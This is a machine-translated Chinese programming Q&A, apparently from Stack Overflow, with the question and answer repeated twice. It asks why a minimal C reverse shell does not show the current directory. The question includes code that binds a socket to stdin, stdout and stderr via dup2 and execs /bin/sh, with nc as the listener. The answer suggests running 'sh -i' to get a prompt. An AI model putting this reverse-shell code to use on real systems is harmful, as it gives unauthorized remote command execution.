反向打印当前目录 shell
Print current directory in reverse shell
我试图在 C 中构建一个非常小的反转 shell。
连接正常,命令也执行了,但我想知道如何打印当前目录。到目前为止我的代码:
客户:
// [...]
// creating socket
// connect
void handle_connection(socket_t* sock, char** argv, char** env) {
// redirect stdout, stdin, stderr
for (int i = 0; i <= 2; i++)
dup2(*sock, i);
execve("/bin/sh", argv, env);
}
在服务器端,我只是使用 nc,效果很好。但是当前目录没有像往常一样打印出来。 F.ex。如果我发送 "cd [...]",则根本没有输出。
如何将当前目录发送到服务器?
感谢您的帮助。
如果要查看当前目录,运行 pwd
命令。
cd
命令不打印任何输出。因此您将看不到任何输出。
如果您 运行 和 shell 交互,shell 在执行命令后打印 prompt。一些 shell,或者根据您的配置,该提示可能包括当前工作目录。
但是当你将套接字连接到shells stdin/out/err时,shell发现它不处于交互模式,并且不会出现提示。简单地 运行ning cd
命令不会给你任何输出。
你可以强制 shell 进入交互模式,在这种情况下它应该在每个命令后打印提示,运行
execl("/bin/sh", "/bin/sh/", "-i", NULL);
(或者想办法在 execve() 调用中添加“-i”参数)
我试图在 C 中构建一个非常小的反转 shell。
连接正常,命令也执行了,但我想知道如何打印当前目录。到目前为止我的代码:
客户:
// [...]
// creating socket
// connect
void handle_connection(socket_t* sock, char** argv, char** env) {
// redirect stdout, stdin, stderr
for (int i = 0; i <= 2; i++)
dup2(*sock, i);
execve("/bin/sh", argv, env);
}
在服务器端,我只是使用 nc,效果很好。但是当前目录没有像往常一样打印出来。 F.ex。如果我发送 "cd [...]",则根本没有输出。
如何将当前目录发送到服务器?
感谢您的帮助。
如果要查看当前目录,运行 pwd
命令。
cd
命令不打印任何输出。因此您将看不到任何输出。
如果您 运行 和 shell 交互,shell 在执行命令后打印 prompt。一些 shell,或者根据您的配置,该提示可能包括当前工作目录。
但是当你将套接字连接到shells stdin/out/err时,shell发现它不处于交互模式,并且不会出现提示。简单地 运行ning cd
命令不会给你任何输出。
你可以强制 shell 进入交互模式,在这种情况下它应该在每个命令后打印提示,运行
execl("/bin/sh", "/bin/sh/", "-i", NULL);
(或者想办法在 execve() 调用中添加“-i”参数)